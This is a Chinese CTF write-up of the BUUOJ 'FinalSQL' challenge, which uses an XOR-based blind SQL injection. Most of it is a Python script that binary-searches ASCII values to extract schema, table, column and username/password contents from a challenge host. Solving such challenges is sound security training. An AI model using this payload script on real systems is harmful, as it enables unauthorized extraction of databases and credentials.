当前位置:网站首页>[极客大挑战 2019]FinalSQL 1
[极客大挑战 2019]FinalSQL 1
2022-07-27 05:04:00 【weixin_53150482】
每周学习总结
打开网页链接:

这里对输入框进行输入根本没用,这道题提示了我们 SQL 注入,现在照着提示点击第五个显示:

这里我们查看第六个页面:
结合网页给的提示这里可能是一个注入点而且是盲注,然后使用 burp 进行测试过滤了那些,过滤了空格等等,这里我使用 sqlmap 进行盲注但是不会怎么用,在网上找的 大佬的 payload
import requests import time url = "http://269eac17-6039-4ac9-a491-e6e090ef7bd5.node4.buuoj.cn:81/search.php" temp = { "id": ""} column = "" for i in range(1, 1000): time.sleep(0.06) # 间隔时间 low = 32 high = 128 mid = (low + high) // 2 while (low < high): # 库名 第一个 %d 是指第几个字符 第二个 %d 是指当前字符的大小 # temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid) # 表名 # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid) # 字段名 # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid) # 内容 temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) # r = requests.get(url, params=temp) time.sleep(0.04) print(low, high, mid, ":") if "Click" in r.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 32 or mid == 127): break column += chr(mid) print(column) print("All:", column)最后就可以获得flag
总结
- 需要对页面展示的信息进行分析
边栏推荐
猜你喜欢

块,行内块元素之间存在间隙

流程控制-分支

Multiplication sorting in torch, * & torch. Mul () & torch. MV () & torch. Mm () & torch. Dot () & @ & torch. Mutmal ()

c语言字符串函数上:strlen、strcpy、strcat

OSI七层模型和TCP/IP四层(TCP与UDP)(笔记)

用户页面管理

Share a multiple-choice question about variables (including global variables, local variables, the scope of variables, and life cycle knowledge points)

页面的基本布局

封装JWT

程序环境和预处理(上):一个程序是怎么成功运行的?
随机推荐
规格管理,及规格选项管理功能实现
Flask blueprint
初识C语言——为什么每个C程序都有一个main函数
初识C语言——常见的数据类型
块,行内块元素之间存在间隙
let、const、var之间的用法以及区别
Looking at the PK of alphago and Li Shishi from a deep perspective
路由的配置和前往登录首页进行发送请求
First acquaintance with C language - first acquaintance with pointer
初识C语言——什么是C语言
MD5 password encryption
User registration login
First knowledge of C language -- what is C language
JS中forEach和map方法有什么区别
Sharing force buckle-189. Three solutions of rotation array
Program environment and preprocessing (Part 2): define, undef, command line compilation, conditional compilation, file inclusion (super full collation, recommended collection!!!
用户管理-分页
布局的搭建及天气预报的显示
map结构
MySQL cancels the foreign key Association constraint